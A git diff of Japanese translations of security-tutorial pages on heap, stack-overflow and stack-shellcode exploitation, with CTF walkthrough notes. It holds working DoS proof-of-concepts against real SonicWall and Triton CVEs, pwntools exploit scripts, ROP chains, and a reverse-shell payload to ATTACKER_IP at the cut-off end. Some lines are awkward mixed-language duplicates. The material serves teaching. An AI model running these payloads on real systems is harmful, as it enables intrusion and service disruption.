[**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - 目的はグローバル変数を4869より大きい値で上書きしてflagを取得することで、PIEは有効ではない。 - - 任意のサイズのチャンクを生成でき、目的のサイズでヒープオーバーフローが存在する。 - - 攻撃は3つのチャンクを作成するところから始まる: chunk0（オーバーフローを悪用するため）、chunk1（オーバーフローされる対象）、chunk2（top chunkが前のものとconsolidateしないようにするため）。 - - その後chunk1をfreeし、chunk0をオーバーフローさせてchunk1の`bk`ポインタが指す先を `bk = magic - 0x10` にする。 - - 続いてchunk1と同じサイズでchunk3を割り当てるとunsorted bin attackが発動し、グローバル変数の値を変更してflagを得られるようにする。 -- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - merge関数は、同じインデックスが2回渡された場合にそれをreallocしてからfreeし、解放された領域のポインタを返してしまう脆弱性があるため脆弱である。 - - したがって、**2つのチャンクが作成される**: **chunk0**（自身とマージされる）と、top chunkとのconsolidationを防ぐためのchunk1。次に、**merge関数をchunk0で**2回呼ぶとuse after freeが発生する。 - - その後、インデックス2（use after freeチャンクのインデックス）で**`view`**関数を呼ぶと、**libcアドレスがleak**される。 - - バイナリは `global_max_fast` より大きいサイズのみmallocを許可する保護があるためfastbinは使われず、unsorted bin attackを用いてグローバル変数 `global_max_fast` を上書きする。 - - 続けて、インデックス2（use after freeポインタ）でedit関数を呼び、`bk`ポインタを `p64(global_max_fast-0x10)` を指すように上書きできる。そうして新しいチャンクを作ると、以前に改竄されたfreeアドレス(0x20) が使われ、unsorted bin attack が発動して `global_max_fast` を上書きする。これにより `global_max_fast` が非常に大きな値になり、fast bin のチャンクを作成できるようになる。 - - ここから **fast bin attack** が行われる: - - まず、`__free_hook` の場所でサイズ200のfastチャンクを扱えることが発見される: -- 
gef➤  p &__free_hook
+- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)  
+  - 目的はグローバル変数を 4869 より大きい値で上書きして flag を取得することで、PIE は有効でない。  
+  - 任意サイズのチャンクを生成でき、目的のサイズでの heap overflow が存在する。  
+  - 攻撃は 3 つのチャンクを作成するところから始まる: overflow を悪用する chunk0、overflow される chunk1、そして top chunk が前のものと consolidate しないようにする chunk2。  
+  - その後 chunk1 を free し、chunk0 を overflow して chunk1 の `bk` ポインタが指すようにする: `bk = magic - 0x10`  
+  - その後 chunk1 と同サイズの chunk3 を allocate すると unsorted bin attack が発動し、グローバル変数の値が変更されて flag を取得できるようになる。
+- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)  
+  - merge 関数は、渡した両方のインデックスが同じ場合にその領域を realloc してから free し、free した領域へのポインタを返してしまうため脆弱である。  
+  - したがって、**2 つのチャンクを作成**する: 自分自身とマージされる **chunk0** と、top chunk と consolidate しないようにする chunk1。次に、**merge function を chunk0 で 2 回呼ぶ**と use after free が発生する。  
+  - その後 index 2（use after free チャンクのインデックス）で **`view`** を呼ぶと、libc アドレスが **leak** する。  
+  - バイナリには **`global_max_fast`** より大きいサイズしか malloc できない保護があるため fastbin は使われず、unsorted bin attack を使ってグローバル変数 `global_max_fast` を上書きする。  
+  - 次に、index 2（use after free ポインタ）で edit を呼び、`bk` を `p64(global_max_fast-0x10)` を指すように上書きする。すると、新しいチャンクを作ることで以前に改竄した free アドレス (0x20) が使われ、**unsorted bin attack をトリガー**して `global_max_fast` を非常に大きな値に上書きし、fast bin のチャンクを作れるようにする。  
+  - ここから **fast bin attack** が行われる:  
+    - まず、**`__free_hook`** の位置でサイズ 200 の fast チャンクが扱えることが発見される:  
+    - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
 0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-

-  - この場所にサイズ0x200のfastチャンクを配置できれば、実行される関数ポインタを上書きすることが可能になる。
-  - そのために、サイズ `0xfc` の新しいチャンクを作成し、そのポインタでmerge関数を2回呼ぶことで、fast binにサイズ `0xfc*2 = 0x1f8` の解放済みチャンクへのポインタを得る。
-  - そのチャンクでedit関数を呼んで、このfast binの **`fd`** を前の **`__free_hook`** を指すように変更する。
-  - 続いてサイズ `0x1f8` のチャンクを作ってfast binから前の無用なチャンクを取り出し、さらにもう一つサイズ `0x1f8` のチャンクを作ることで `__free_hook` の位置にあるfast binチャンクを取得し、これを **`system`** のアドレスで上書きする。
-  - 最後に `/bin/sh\x00` を含むチャンクをdelete関数でfreeすると、`__free_hook` が system を指しているため `/bin/sh\x00` を引数に system が実行される。
-- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-  - 1バイトオーバーフローを悪用してチャンクをunsorted binで統合しlibcのinfoleakを得た後、fast bin attackでmalloc hookをone gadgetアドレスで上書きする別の例。
-- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-  - チャンクは `0x100` より大きいサイズしか割り当てられない。
-  - Unsorted Bin attack を使って `global_max_fast` を上書きする（ASLR のため成功確率は1/16、12ビットを変更する必要があるが16ビットを変更しなければならないため）。
-  - Fast Bin attack によりグローバルなチャンク配列を改変する。これにより任意の read/write プリミティブを得られ、GOT を改変してある関数を `system` を指すようにできる。
+
+ - この場所にサイズ 0x200 の fast チャンクを置ければ、実行される関数ポインタを上書ける。 + - そのため、サイズ `0xfc` の新しいチャンクを作り、そのポインタで merge を 2 回呼ぶことで、fast bin にサイズ `0xfc*2 = 0x1f8` の free チャンクへのポインタが得られる。 + - 次に、そのチャンクで edit を呼んでこの fast bin の **`fd`** を以前の **`__free_hook`** を指すように変更する。 + - その後 `0x1f8` サイズのチャンクを作って fast bin から不要なチャンクを取り出し、さらにもう一つ `0x1f8` のチャンクを作って **`__free_hook`** の位置にある fast bin チャンクを取得し、これを **`system`** のアドレスで上書きする。 + - 最後に `/bin/sh\x00` を含むチャンクを delete で free すると、**`__free_hook`** が system を指しているため `/bin/sh\x00` を引数に system が実行される。 +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) + - 1B overflow を悪用して unsorted bin にチャンクを consolidate し libc infoleak を得て、その後 fast bin attack を行い malloc hook を one gadget アドレスで上書きする別の例。 +- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) + - `0x100` より大きいサイズのチャンクしか allocate できない。 + - Unsorted Bin attack を使って `global_max_fast` を上書きする（ASLR のため成功率は 1/16。12 ビットを変更する必要があるが実際には 16 ビットを変更しなければならないため）。 + - Fast Bin attack でグローバルなチャンク配列を改変する。これにより任意の read/write プリミティブが得られ、GOT を変更して関数を `system` を指すようにできる。 ## 参考 -- Glibc malloc unsorted-bin integrity checks（2.33 のソースの例）: https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c +- Glibc malloc unsorted-bin の整合性チェック（2.33 のソース例）: https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` と関連定義（modern glibc 2.39）: https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index dbffbeec8..5ca0ec298 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Stack Overflowとは +## Stack Overflowとは何か -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **隣接するメモリ領域を上書き**し、有効なデータの破損、制御フローの破壊、そして場合によっては悪意あるコードの実行につながる可能性があります。 この問題は、入力に対して境界チェックを行わない安全でない関数の使用により発生することがよくあります。 +**stack overflow**は、プログラムがスタックに割り当てられた容量以上のデータを書き込むと発生する脆弱性です。この余分なデータは**隣接するメモリ領域を上書き**し、有効なデータの破損、制御フローの混乱、場合によっては悪意のあるコードの実行につながります。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によって生じることが多いです。 -この上書きの主な問題は、前の関数に戻るための **saved instruction pointer (EIP/RIP)** や **saved base pointer (EBP/RBP)** が **stack 上に保存されている**ことです。したがって、攻撃者はそれらを上書きして **プログラムの実行フローを制御**できるようになります。 +この上書きの主な問題は、以前の関数に戻るための**saved instruction pointer (EIP/RIP)**と**saved base pointer (EBP/RBP)**が**スタック上に保存されている**ことです。したがって、攻撃者はそれらを上書きして**プログラムの実行フローを制御**できるようになります。 -この脆弱性は通常、関数が **stack 内に割り当てられた量より多くのバイトをコピーしてしまう** ことにより発生し、結果として stack の他の部分を上書きできてしまいます。 +この脆弱性は通常、関数がスタック内に**割り当てられた以上のバイト数をコピーする**ために発生し、他のスタック領域を上書きできるようになります。 -この脆弱性の原因になりやすい一般的な関数には **`strcpy`, `strcat`, `sprintf`, `gets`** などがあります。 また、**`fgets`**, **`read` & `memcpy`** のように **長さ引数（length argument）** を取る関数も、指定された長さが割り当てより大きいと脆弱な使い方になる可能性があります。 +この脆弱性の影響を受けやすい一般的な関数には次のものがあります: **`strcpy`, `strcat`, `sprintf`, `gets`**... また、**`fgets`**, **`read`**, **`memcpy`** のように **長さ引数** を取る関数は、指定した長さが割り当てより大きい場合に脆弱な使われ方をすることがあります。 -例えば、次の関数は脆弱である可能性があります: +例えば、以下の関数は脆弱である可能性があります: ```c void vulnerable() { char buffer[128]; @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Finding Stack Overflows offsets +### Stack Overflow のオフセットを見つける -Stack overflowを見つける最も一般的な方法は、非常に大きな`A`の入力を与えること（例: `python3 -c 'print("A"*1000)'`）で、`Segmentation Fault`が発生し、**アドレス `0x41414141` にアクセスしようとした**ことが示されることを期待することです。 +Stack overflows を見つける最も一般的な方法は、非常に大量の `A` を与えること（例: `python3 -c 'print("A"*1000)'`）で、`Segmentation Fault` が発生して、**アドレス `0x41414141` へのアクセスが試みられた**ことを確認することです。 -さらに、Stack Overflowの脆弱性があるとわかったら、リターンアドレスを**上書きできるようになるまでのオフセット**を見つける必要があります。これには通常**De Bruijn sequence**が使われます。これは、アルファベットのサイズが_k_で部分列の長さが_n_の場合、**長さ_n_のあらゆる部分列がちょうど一度ずつ連続した部分列として現れる循環列**です。 +さらに、Stack Overflow の脆弱性が見つかったら、**return address を上書きできる**までのオフセットを特定する必要があります。そのために通常使われるのが **De Bruijn sequence** です。与えられたアルファベットのサイズ _k_ と部分列の長さ _n_ に対して、これは**長さ _n_ のあらゆる可能な部分列がちょうど一度ずつ連続部分列として現れる巡回列（cyclic sequence）**です。 -この方法を使えば、どのオフセットが手作業でEIPを制御するために必要かを突き止める代わりに、これらのシーケンスの一つをパディングとして使い、それを上書きしたバイトのオフセットを特定できます。 +このように、どのオフセットで EIP を制御できるかを手作業で調べる代わりに、これらのシーケンスの一つをパディングとして使い、上書きされたバイトがどの位置にあったかを特定できます。 -これには**pwntools**を使うことができます: +これには **pwntools** を使うことができます: ```python from pwn import * @@ -48,17 +48,15 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Stack Overflows の悪用 - -オーバーフローが発生した場合（サイズが十分大きいと仮定すると）、スタック内のローカル変数の値を**上書き**して保存された **EBP/RBP and EIP/RIP (or even more)** に到達するまで可能です。\ -この種の脆弱性を悪用する最も一般的な方法は、**リターンアドレスを変更すること**で、関数が終了したときに **コントロールフローがこのポインタでユーザが指定した場所へリダイレクトされる** ようにすることです。 - -しかし、別のシナリオではスタック上のいくつかの変数の値を**上書きするだけで**エクスプロイトが成立する場合もあります（簡単な CTF チャレンジなど）。 +## Exploiting Stack Overflows +オーバーフロー発生時（オーバーフローのサイズが十分に大きい場合）、stack 内のローカル変数の値を **overwrite** して保存された **EBP/RBP and EIP/RIP (or even more)** に到達できるようになります.\\ +この種の脆弱性を悪用する最も一般的な方法は、**modifying the return address** ことで、関数終了時にそのポインタにユーザが指定した場所へ**control flow will be redirected wherever the user specified**。 +しかし、他のシナリオでは、単に **overwriting some variables values in the stack** するだけで脆弱性を悪用できる場合もあります（簡単な CTF チャレンジのような場合）。 ### Ret2win -この種の CTF チャレンジでは、バイナリ内部に**決して呼ばれない関数**が存在し、それを呼び出すことで勝利できるようになっています。これらのチャレンジでは、**リターンアドレスを上書きするためのオフセット**と呼び出す**関数のアドレス**を見つければ十分です（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) は無効になっていることが多い）。脆弱な関数がリターンすると、隠された関数が呼び出されます： +このタイプの CTF チャレンジでは、バイナリ内に **function** **inside** で **never called**、そして **you need to call in order to win** という関数が存在します。これらのチャレンジでは、呼び出すために必要な **offset to overwrite the return address** を見つけ、呼び出すべき **address of the function** を特定するだけです（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) は無効になっています）。脆弱な関数が return すると、隠された関数が呼び出されます: {{#ref}} @@ -67,7 +65,7 @@ ret2win/ ### Stack Shellcode -このシナリオでは、攻撃者はスタックに shellcode を置き、制御された EIP/RIP を利用して shellcode にジャンプし任意のコードを実行できます： +このシナリオでは、攻撃者は stack に shellcode を置き、制御された EIP/RIP を使って shellcode にジャンプし、任意のコードを実行できます: {{#ref}} @@ -76,7 +74,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -32-bit Windows では、オーバーフローが保存されたリターンアドレスの代わりに Structured Exception Handler (SEH) チェーンを上書きすることがあります。エクスプロイトでは通常、SEH ポインタを POP POP RET ガジェットに置き換え、4 バイトの nSEH フィールドを短いジャンプに使って shellcode がある大きなバッファへピボットします。一般的なパターンとしては、nSEH の短い jmp が nSEH の直前に置かれた 5 バイトの near jmp に着地し、ペイロードの開始位置へ数百バイト戻る、というものです。 +32-bit Windows では、オーバーフローが保存されたリターンアドレスではなく Structured Exception Handler (SEH) チェーンを上書きする場合があります。エクスプロイトでは通常、SEH ポインタを POP POP RET gadget に置き換え、4 バイトの nSEH フィールドを短いジャンプに使用して shellcode が存在する大きなバッファへピボットします。一般的なパターンは、nSEH に短い jmp を入れ、nSEH の直前に配置した 5 バイトの near jmp に到達させて、ペイロードの先頭まで数百バイト戻るというものです。 {{#ref}} @@ -85,7 +83,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -この手法は前述の保護、すなわち **No executable stack (NX)** を回避するための基本的なフレームワークです。また、既存の命令を悪用して任意コマンドを実行する ret2lib や ret2syscall といった他の手法を実行することも可能にします： +この手法は、前述の手法に対する主要な保護を回避するための基本的なフレームワークです：**No executable stack (NX)**。また、既存の命令を悪用して任意のコマンドを実行させる ret2lib、ret2syscall などの他の手法を行うことも可能にします: {{#ref}} @@ -94,7 +92,7 @@ windows-seh-overflow.md ## Heap Overflows -オーバーフローは必ずしもスタックに発生するとは限らず、例えば **heap** に発生することもあります： +オーバーフローが常に stack に起こるわけではなく、例えば **heap** に発生することもあります: {{#ref}} @@ -103,42 +101,43 @@ windows-seh-overflow.md ## Types of protections -脆弱性の悪用を防ぐためのいくつかの保護機構が存在します。詳細は以下を確認してください： +脆弱性の悪用を防ぐための様々な保護機構が存在します。詳細は次を参照してください: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} -### Real-World Example: CVE-2025-40596 (SonicWall SMA100) +### 実例: CVE-2025-40596 (SonicWall SMA100) -なぜ **`sscanf` を信頼して未検証の入力を解析してはならないか** の良い実例が、2025 年に SonicWall の SMA100 SSL-VPN アプライアンスで発生しました。`/usr/src/EasyAccess/bin/httpd` 内の脆弱なルーチンは、`/__api__/` で始まる URI からバージョンとエンドポイントを抽出しようとします： +SonicWall の SMA100 SSL-VPN アプライアンスでは、2025 年に **`sscanf` should never be trusted for parsing untrusted input** を示す良い事例が発生しました。 +脆弱なルーチンは `/usr/src/EasyAccess/bin/httpd` の内部にあり、`/__api__/` で始まる任意の URI からバージョンとエンドポイントを抽出しようとします: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. 最初の変換 (`%2s`) は `version` に安全に **2** バイトを格納します（例: `"v1"`）。 -2. 2番目の変換 (`%s`) は **長さ指定子がありません**。したがって `sscanf` は **最初の NUL バイトまで** コピーし続けます。 -3. `endpoint` が **stack** 上にあり、サイズが **0x800 bytes long** であるため、長さが 0x800 バイトを超えるパスを与えると、バッファの後にあるすべて（**stack canary** や **saved return address** を含む）が破損します。 +1. 最初の変換 (`%2s`) は `version` に**2**バイトを安全に格納します（例: "v1"）。 +2. 2番目の変換 (`%s`) は**長さ指定子がありません**。したがって `sscanf` は**最初の NUL byte まで**コピーし続けます。 +3. `endpoint` が**stack**上にあり、**0x800 bytes long**であるため、0x800バイトより長いパスを与えるとバッファ以降に置かれたもの―**stack canary** や **saved return address** を含む―がすべて破損します。 -単一行の proof-of-concept で、**認証前** にクラッシュを引き起こすのに十分です： +1行のPoCで**認証前**にクラッシュを引き起こすのに十分です: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple: +stack canaries がプロセスを中断させたとしても、攻撃者は依然として **Denial-of-Service** のプリミティブを獲得します（さらに追加の情報 leaks があれば、code-execution に至る可能性もあります）。教訓は簡単です: -* Always provide a **maximum field width** (e.g. `%511s`). -* Prefer safer alternatives such as `snprintf`/`strncpy_s`. +* 常に **最大フィールド幅** を指定する（例: `%511s`）。 +* `snprintf`/`strncpy_s` のようなより安全な代替を使用することを優先する。 -### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### 実世界の例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API. -The vulnerable pattern repeatedly appeared in `http_server.cc` and `sagemaker_server.cc`: +NVIDIA’s Triton Inference Server (≤ v25.06) には、HTTP API を通じて到達可能な複数の **stack-based overflows** が含まれていました。 +脆弱なパターンは `http_server.cc` と `sagemaker_server.cc` に繰り返し現れました: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -148,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) は現在の HTTP リクエストボディを構成する内部バッファセグメントの**数**を返します。 -2. 各セグメントは `alloca()` を介して**stack**上に**16-byte**の`evbuffer_iovec`を割り当てさせます — **上限がありません**。 -3. クライアントが**HTTP _chunked transfer-encoding_**を悪用すると、リクエストを**何十万もの6-byteチャンク**（`"1\r\nA\r\n"`）に分割させることができます。これにより、`n` は **stack** が枯渇するまで無制限に増加します。 +1. `evbuffer_peek` (libevent) は現在の HTTP リクエストボディを構成する **内部バッファセグメントの数** を返します。 +2. 各セグメントは `alloca()` を介して **16-byte** の `evbuffer_iovec` を **stack** 上に割り当てます – **上限がありません**。 +3. **HTTP _chunked transfer-encoding_** を悪用することで、クライアントはリクエストを **数十万の6-byteチャンク** (`"1\r\nA\r\n"`) に分割させることができます。これにより `n` は stack が枯渇するまで無制限に増加します。 #### 概念実証 (DoS) ```python @@ -176,10 +175,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -約3 MBのリクエストで、保存された戻りアドレスを書き換え、デフォルトビルドのデーモンを**crash**させるのに十分です。 +約3MBのリクエストで保存されたリターンアドレスを上書きし、デフォルトのビルドではデーモンを**クラッシュ**させるのに十分です。 #### パッチと緩和策 -25.07リリースでは、安全でないスタック割り当てを**heap-backed `std::vector`**に置き換え、`std::bad_alloc`を適切に処理します: +25.07 リリースでは、安全でないスタック割り当てを**ヒープ上の `std::vector`**に置き換え、`std::bad_alloc` を適切に処理します: ```c++ std::vector v_vec; try { @@ -190,11 +189,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` 教訓: -* 攻撃者が制御するサイズで `alloca()` を呼び出してはいけない。 -* Chunked requests はサーバー側のバッファの形状を大きく変える可能性がある。 -* クライアント入力から派生した値は、メモリ割り当てで使用する*前に*検証 / 上限設定を行うこと。 +* 攻撃者が制御するサイズで `alloca()` を呼び出してはいけません。 +* Chunked requests はサーバー側のバッファの形状を大幅に変える可能性があります。 +* クライアント入力に由来する値は、メモリ割り当てに*使用する前に*必ず検証し、上限を設けてください。 -## 参考 +## 参考資料 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 6fdc92c12..be9b98b9a 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## 基本情報 -**Stack shellcode** は **binary exploitation** において、攻撃者が脆弱なプログラムの stack に shellcode を書き込み、**Instruction Pointer (IP)** や **Extended Instruction Pointer (EIP)** をその shellcode の位置を指すように変更して実行させる手法です。これは対象システムに不正にアクセスしたり任意のコマンドを実行したりするための古典的な方法です。以下にプロセスの内訳と、簡単な C の例、および **pwntools** を使って Python で対応する exploit を書く方法を示します。 +**Stack shellcode** は **binary exploitation** で用いられる手法で、攻撃者が脆弱なプログラムのスタック上に shellcode を書き込み、続いて **Instruction Pointer (IP)** や **Extended Instruction Pointer (EIP)** をこの shellcode の位置に変更して実行させます。これはターゲットシステム上で不正アクセスを得たり任意のコマンドを実行するための古典的な手法です。以下にプロセスの内訳を示します。簡単な C の例と、**pwntools** を使って Python で対応する exploit を書く方法も含みます。 ### Cの例: 脆弱なプログラム -まずは脆弱な C プログラムの簡単な例を示します： +まずは脆弱な C プログラムの簡単な例を示します: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -このプログラムは `gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。 +このプログラムは、`gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。 -### コンパイル +### Compilation -さまざまな保護を無効化して（脆弱な環境をシミュレートするために）このプログラムをコンパイルするには、次のコマンドを使用します： +さまざまな保護機能を無効化して（脆弱な環境をシミュレートするため）、このプログラムをコンパイルするには、次のコマンドを使用できます: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: スタック保護を無効化します。 -- `-z execstack`: スタックを実行可能にします。これはスタックに格納された shellcode を実行するために必要です。 -- `-no-pie`: Position Independent Executable を無効化し、shellcode が配置されるメモリアドレスを予測しやすくします。 -- `-m32`: プログラムを 32-bit 実行形式としてコンパイルします。exploit 開発で簡便さのためによく使われます。 +- `-fno-stack-protector`: スタックプロテクションを無効にします。 +- `-z execstack`: スタックを実行可能にします。スタックに格納された shellcode を実行するために必要です。 +- `-no-pie`: Position Independent Executable (PIE) を無効にします。これにより、shellcode が配置されるメモリアドレスを予測しやすくなります。 +- `-m32`: プログラムを 32-bit 実行ファイルとしてコンパイルします。exploit 開発で簡便さのために用いられることが多いです。 -### Pwntools を使った Python Exploit +### Pwntoolsを使った Python Exploit -以下は、**pwntools** を使用して **ret2shellcode** 攻撃を実行するための Python の exploit を書く方法です: +以下は、**pwntools** を使用して **ret2shellcode** 攻撃を行うために Python で exploit を書く方法です: ```python from pwn import * @@ -68,26 +68,45 @@ p.interactive() ``` This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +このスクリプトは、**NOP slide**、**shellcode** を含むペイロードを構築し、その後 **EIP** を NOP slide を指すアドレスで上書きして、shellcode が実行されるようにします。 + The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +**NOP slide**（`asm('nop')`）は、正確なアドレスに関係なく実行が shellcode に「スライド」して入る確率を高めるために使います。`p32()` の引数は、バッファの開始アドレスにオフセットを加え、NOP slide に到達するよう調整してください。 + ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -現代の Windows ではスタックは実行不可（DEP/NX）です。stack BOF 後にスタック上の shellcode を実行する一般的な方法は、モジュールの Import Address Table (IAT) から VirtualAlloc（または VirtualProtect）を呼び出す 64-bit ROP チェーンを組み、スタック領域を実行可能にしてチェーンの後に続く shellcode にリターンする方法です。 +On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain. + +最新の Windows ではスタックは非実行（DEP/NX）になっています。スタック上の shellcode をスタックの BOF 後でも実行する一般的な方法は、モジュールの Import Address Table (IAT) にある VirtualAlloc（または VirtualProtect）を呼ぶ 64-bit ROP チェーンを組んでスタックの一部を実行可能にし、チェーンの直後に置いた shellcode にリターンすることです。 Key points (Win64 calling convention): +重要な点（Win64 呼び出し規約）: + - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → 現在のスタック内のアドレス（例: RSP）を選び、割り当てられた RWX 領域があなたのペイロードと重なるようにする -- RDX = dwSize → チェーン＋shellcode を収められる十分な大きさ（例: 0x1000） +- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload + - RCX = lpAddress → 現在のスタック内のアドレス（例：RSP）を選び、新しく確保される RWX 領域がペイロードと重なるようにする +- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000) + - RDX = dwSize → チェーンと shellcode を収めるのに十分な大きさ（例：0x1000） - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. + - チェーンの直後に置いた shellcode に直接リターンする Minimal strategy: +最小限の戦略: + 1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. + 1) Leak a module base（例：format-string、object pointer などを用いて）して、ASLR 下での絶対 gadget と IAT アドレスを算出する。 + 2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). + 2) RCX/RDX/R8/R9 に値をロードするための gadget（pop や mov/xor 系のシーケンス）と call/jmp [VirtualAlloc@IAT] を見つける。直接 pop r8/r9 が無い場合は、算術 gadget を使って定数を合成する（例：r8=0 にして r9 に 0x40 を40回加算して 0x1000 に到達させる）。 + 3) Place stage-2 shellcode immediately after the chain. + 3) stage-2 shellcode をチェーンの直後に配置する。 Example layout (conceptual): +概念的なレイアウト例: ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,13 +123,13 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -制約された gadget set を使うと、register 値を間接的に作成できます。例えば: +制約されたgadgetセットでは、レジスタ値を間接的に作成できます。例えば： -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword. -- xor rbx, rsp; ret → seed rbx with the current stack pointer. -- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX. +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9をrbxから設定し、r8を0にし、ジャンク qwordでスタックを補正する。 +- xor rbx, rsp; ret → 現在のスタックポインタでrbxを初期化する。 +- push rbx; pop rax; mov rcx, rax; ret → RSPから得た値をRCXに移す。 -Pwntools スケッチ（既知の base と gadgets がある場合）: +Pwntools sketch (given a known base and gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -134,28 +153,28 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", 